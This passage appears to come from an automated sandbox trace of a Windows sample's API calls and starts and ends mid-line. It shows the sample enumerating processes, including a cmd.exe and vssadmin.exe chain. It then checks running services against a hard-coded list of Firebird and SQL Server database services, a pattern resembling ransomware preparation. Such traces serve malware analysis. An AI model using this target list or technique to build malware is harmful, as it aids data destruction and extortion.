th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0042.715] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0042.715] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0042.715] lstrlenW (lpString="sn featured.exe") returned 15 [0042.715] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0042.715] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0042.715] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0042.716] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0042.716] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0042.716] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0042.716] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0042.716] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0042.716] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0042.717] lstrlenW (lpString="mobsync.exe") returned 11 [0042.717] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0042.717] lstrlenW (lpString="cmd.exe") returned 7 [0042.717] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0042.717] lstrlenW (lpString="conhost.exe") returned 11 [0042.717] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0042.718] lstrlenW (lpString="vssadmin.exe") returned 12 [0042.718] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0042.718] lstrlenW (lpString="VSSVC.exe") returned 9 [0042.718] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0042.718] CloseHandle (hObject=0x35c) returned 1 [0042.718] Sleep (dwMilliseconds=0x1f4) [0043.355] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297fe0 [0043.360] EnumServicesStatusExW (in: hSCManager=0x3297fe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0043.361] GetLastError () returned 0xea [0043.361] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x123e) returned 0x53a0050 [0043.361] EnumServicesStatusExW (in: hSCManager=0x3297fe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x53a0050, cbBufSize=0x123e, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x53a0050, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0043.363] CloseServiceHandle (hSCObject=0x3297fe0) returned 1 [0043.364] lstrlenW (lpString="Appinfo") returned 7 [0043.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0043.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0043.364] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0043.364] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0043.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0043.364] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0043.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0043.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0043.364] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0043.364] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0043.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0043.364] lstrlenW (lpString="AudioSrv") returned 8 [0043.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0043.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0043.364] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0043.364] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0043.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0043.365] lstrlenW (lpString="BFE") returned 3 [0043.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0043.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0043.365] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0043.365] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0043.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0043.365] lstrlenW (lpString="CryptSvc") returned 8 [0043.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0043.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0043.365] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0043.365] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0043.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0043.365] lstrlenW (lpString="CscService") returned 10 [0043.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0043.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0043.365] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0043.365] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0043.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0043.365] lstrlenW (lpString="DcomLaunch") returned 10 [0043.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0043.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0043.365] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0043.365] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0043.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0043.365] lstrlenW (lpString="Dhcp") returned 4 [0043.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0043.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0043.365] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0043.365] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0043.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0043.366] lstrlenW (lpString="Dnscache") returned 8 [0043.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0043.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0043.366] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0043.366] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0043.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0043.366] lstrlenW (lpString="DPS") returned 3 [0043.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0043.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0043.366] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0043.366] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0043.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0043.366] lstrlenW (lpString="eventlog") returned 8 [0043.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0043.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0043.366] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0043.366] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0043.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0043.366] lstrlenW (lpString="EventSystem") returned 11 [0043.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0043.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0043.366] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0043.366] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0043.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0043.366] lstrlenW (lpString="gpsvc") returned 5 [0043.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0043.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0043.366] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0043.366] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0043.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0043.366] lstrlenW (lpString="iphlpsvc") returned 8 [0043.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0043.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0043.367] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0043.367] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0043.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0043.367] lstrlenW (lpString="LanmanServer") returned 12 [0043.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0043.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0043.367] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0043.367] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0043.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0043.367] lstrlenW (lpString="LanmanWorkstation") returned 17 [0043.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0043.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0043.367] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0043.367] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0043.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0043.367] lstrlenW (lpString="lmhosts") returned 7 [0043.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0043.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0043.367] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0043.367] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0043.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0043.367] lstrlenW (lpString="MMCSS") returned 5 [0043.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0043.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0043.367] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0043.367] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0043.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0043.367] lstrlenW (lpString="MpsSvc") returned 6 [0043.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0043.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0043.367] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0043.368] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0043.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0043.368] lstrlenW (lpString="Netman") returned 6 [0043.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0043.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0043.368] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0043.368] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0043.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0043.368] lstrlenW (lpString="netprofm") returned 8 [0043.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0043.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0043.368] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0043.368] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0043.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0043.368] lstrlenW (lpString="NlaSvc") returned 6 [0043.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0043.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0043.368] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0043.368] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0043.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0043.368] lstrlenW (lpString="nsi") returned 3 [0043.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0043.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0043.368] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0043.368] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0043.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0043.368] lstrlenW (lpString="PcaSvc") returned 6 [0043.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0043.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0043.368] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0043.368] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0043.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0043.369] lstrlenW (lpString="PlugPlay") returned 8 [0043.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0043.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0043.369] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0043.369] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0043.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0043.369] lstrlenW (lpString="Power") returned 5 [0043.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0043.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0043.369] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0043.369] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0043.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0043.369] lstrlenW (lpString="ProfSvc") returned 7 [0043.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0043.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0043.369] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0043.369] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0043.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0043.369] lstrlenW (lpString="RpcEptMapper") returned 12 [0043.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0043.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0043.369] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0043.369] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0043.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0043.369] lstrlenW (lpString="RpcSs") returned 5 [0043.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0043.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0043.369] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0043.369] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0043.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0043.369] lstrlenW (lpString="SamSs") returned 5 [0043.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0043.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0043.370] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0043.370] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0043.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0043.370] lstrlenW (lpString="Schedule") returned 8 [0043.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0043.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0043.370] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0043.370] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0043.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0043.370] lstrlenW (lpString="SENS") returned 4 [0043.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0043.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0043.370] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0043.370] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0043.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0043.370] lstrlenW (lpString="ShellHWDetection") returned 16 [0043.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0043.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0043.370] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0043.370] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0043.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0043.370] lstrlenW (lpString="Spooler") returned 7 [0043.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0043.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0043.370] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0043.370] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0043.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0043.370] lstrlenW (lpString="SysMain") returned 7 [0043.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0043.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0043.371] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0043.371] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0043.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0043.371] lstrlenW (lpString="Themes") returned 6 [0043.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0043.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0043.371] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0043.371] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0043.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0043.371] lstrlenW (lpString="TrkWks") returned 6 [0043.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0043.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0043.371] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0043.371] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0043.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0043.371] lstrlenW (lpString="UxSms") returned 5 [0043.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0043.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0043.371] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0043.371] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0043.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0043.371] lstrlenW (lpString="VSS") returned 3 [0043.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0043.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0043.371] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0043.371] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0043.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0043.371] lstrlenW (lpString="WdiServiceHost") returned 14 [0043.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0043.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0043.371] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0043.371] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0043.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0043.372] lstrlenW (lpString="WdiSystemHost") returned 13 [0043.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0043.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0043.372] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0043.372] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0043.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0043.372] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0043.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0043.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0043.372] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0043.372] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0043.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0043.372] lstrlenW (lpString="Winmgmt") returned 7 [0043.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0043.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0043.372] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0043.372] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0043.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0043.372] lstrlenW (lpString="WPDBusEnum") returned 10 [0043.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0043.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0043.372] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0043.372] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0043.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0043.373] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x53a0050 | out: hHeap=0x790000) returned 1 [0043.373] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x350 [0043.374] Process32FirstW (in: hSnapshot=0x350, 